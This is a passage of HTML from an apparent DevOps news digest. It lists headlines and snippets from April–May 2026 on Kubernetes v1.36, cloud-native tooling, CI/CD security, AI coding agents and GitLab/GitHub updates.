              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On behalf of SIG Node, we are pleased to announce updates to the Memory QoS feature (alpha) in Kubernetes v1.36. Memory QoS uses the cgroup v2 memory controller to give the kernel better guidance on h</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/29/kubernetes-v1-36-memory-qos-tiered-protection/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 One New Zealand’s strategic shift to Red Hat OpenShift Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-one-new-zealands-strategic-shift-to-red-hat-openshift-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Vodafone New Zealand separated from the Vodafone Group to become One New Zealand (One NZ), it faced an opportunity to go beyond a mere rebrand. Like many telecommunications providers, One NZ face</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/one-new-zealands-strategic-shift-red-hat-openshift-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: Staleness Mitigation and Observability for Controllers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-staleness-mitigation-and-observability-for-controllers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Staleness in Kubernetes controllers is a problem that affects many controllers, and is something may affect controller behavior in subtle ways. It is usually not until it is too late, when a controlle</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/04/28/kubernetes-v1-36-staleness-mitigation-for-controllers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes application monitoring: Tools & tips for faster incident resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-application-monitoring-tools-tips-for-faster-incident-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compare Kubernetes application monitoring tools and learn key features, implementation strategies, and best practices to reduce MTTR and improve reliability.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/monitoring-application-monitoring-kubernetes"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster" class="group relative scroll-mt-24">
        <a href="#h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A Virtual Agent team at Docker: How the Coding Agent Sandboxes team uses a fleet of agents to ship faster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I work on Coding Agent Sandboxes, aka “sbx” at Docker. The project provides secure, microVM-based isolation for running AI coding agents like Claude Code, Gemini, Codex, Docker Agent and Kiro. Agents </p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/a-virtual-agent-team-at-docker-how-the-coding-agent-sandboxes-team-uses-a-fleet-of-agents-to-ship-faster/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data" class="group relative scroll-mt-24">
        <a href="#h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The state of AI in CNCF projects: A first look at the data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-state-of-ai-in-cncf-projects-a-first-look-at-the-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At CNCF TAG Developer Experience, we recently set out to understand how Artificial Intelligence is shaping open-source development. The response from the community has been impressive in its scale, wi</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/29/the-state-of-ai-in-cncf-projects-a-first-look-at-the-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-2-adapt" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-2-adapt" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 2: Adapt
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-2-adapt"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, I will show you how to create a template for monitoring your Docker server with only API calls (without the Zabbix agent 2). Instead of creating a template, templated items, LLD rul</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-2-adapt/32912/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-japanese-community-survey" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-japanese-community-survey" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Japanese Community Survey
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-japanese-community-survey"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This report presents findings from the OpenTelemetry Japanese Community Survey, conducted to understand the current landscape of OTel awareness, adoption, and community engagement among developers and</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/japanese-survey/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-securing-github-actions-ci-dependencies-recipe-card" class="group relative scroll-mt-24">
        <a href="#h3-securing-github-actions-ci-dependencies-recipe-card" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Securing GitHub Actions CI dependencies: Recipe card
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-github-actions-ci-dependencies-recipe-card"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recipe GitHub Actions CI dependencies Target audience (the chef) Project maintainers and developers who need practical, concrete steps to efficiently secure CI dependencies within their GitHub Actions</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/04/securing-github-actions-ci-dependencies-recipe-card/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor’s New SDK Turns AI Coding Agents Into Deployable Infrastructure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cursor&#39;s TypeScript SDK lets teams invoke AI coding agents programmatically from CI/CD pipelines, with sandboxed VMs, MCP support, and token-based pricing.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/cursors-new-sdk-turns-ai-coding-agents-into-deployable-infrastructure/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-70-features-for-faster-safer-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-70-features-for-faster-safer-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 70+ Features for Faster, Safer Software Delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-70-features-for-faster-safer-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness released over 70 new features in April 2026, focused on solving challenges in AI-generated code and software delivery. Key updates include AI-generated incident post-mortems, deeper CI/CD inte</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/shipped-in-april-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-q-developer-end-of-support-announcement" class="group relative scroll-mt-24">
        <a href="#h3-amazon-q-developer-end-of-support-announcement" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Q Developer end-of-support announcement
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-q-developer-end-of-support-announcement"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When we launched Amazon Q Developer, our goal was to bring AI assistance directly into the developer workflow. Customers adopted Q Developer across VS Code, JetBrains, Eclipse, and Visual Studio, usin</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/amazon-q-developer-end-of-support-announcement/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-cli-for-beginners-interactive-v-non-interactive-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn the difference between CLI interactive v. non-interactive modes. The post GitHub Copilot CLI for Beginners: Interactive v. non-interactive mode appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/github-copilot-cli-for-beginners-interactive-v-non-interactive-mode/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo" class="group relative scroll-mt-24">
        <a href="#h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Build an automated detection testing framework with GitLab CI/CD and Duo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-build-an-automated-detection-testing-framework-with-gitlab-cicd-and-duo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When it comes to managing a healthy alerting system for your security operations center (SOC), tuning false positives is only half the battle. An often overlooked aspect of a healthy alerting system i</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/automated-detection-testing-framework/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-launches-cursor-plugin-for-ai-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-harness-launches-cursor-plugin-for-ai-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness Launches Cursor Plugin for AI Software Delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-launches-cursor-plugin-for-ai-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The new Harness Cursor Plugin brings AI-native software delivery directly into Cursor, letting developers trigger pipelines, manage deployments, debug failures, and enforce governance using natural la</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/from-pr-to-production-without-leaving-your-cursor-ide"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-writes-the-code-who-delivers-it-safely" class="group relative scroll-mt-24">
        <a href="#h3-ai-writes-the-code-who-delivers-it-safely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI writes the code. Who delivers it safely?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-writes-the-code-who-delivers-it-safely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Enterprise AI in 2026 is defined by the harness around the model. For software delivery, that means governed execution, live context, policy enforcement, and verifiable actions. The model provides int</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/ai-writes-the-code-who-delivers-it-safely"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-teaching-software-development-the-easy-way-using-gitlab" class="group relative scroll-mt-24">
        <a href="#h3-teaching-software-development-the-easy-way-using-gitlab" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Teaching software development the easy way using GitLab
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teaching-software-development-the-easy-way-using-gitlab"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For instructors teaching software development, one of the biggest logistical challenges is assignment distribution and feedback at scale. How do you give large groups of students access to course mate</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/teaching-software-development-the-easy-way-using-gitlab/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-18112-18105" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-18112-18105" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 18.11.2, 18.10.5
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-18112-18105"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn about this release for GitLab Community Edition and Enterprise Edition.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-18-11-2-released/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-for-beginners-getting-started-with-markdown" class="group relative scroll-mt-24">
        <a href="#h3-github-for-beginners-getting-started-with-markdown" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub for Beginners: Getting started with Markdown
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-for-beginners-getting-started-with-markdown"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover how to format and edit your comments and posts using Markdown. The post GitHub for Beginners: Getting started with Markdown appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/developer-skills/github/github-for-beginners-getting-started-with-markdown/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-an-update-on-github-availability" class="group relative scroll-mt-24">
        <a href="#h3-an-update-on-github-availability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 An update on GitHub availability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-an-update-on-github-availability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
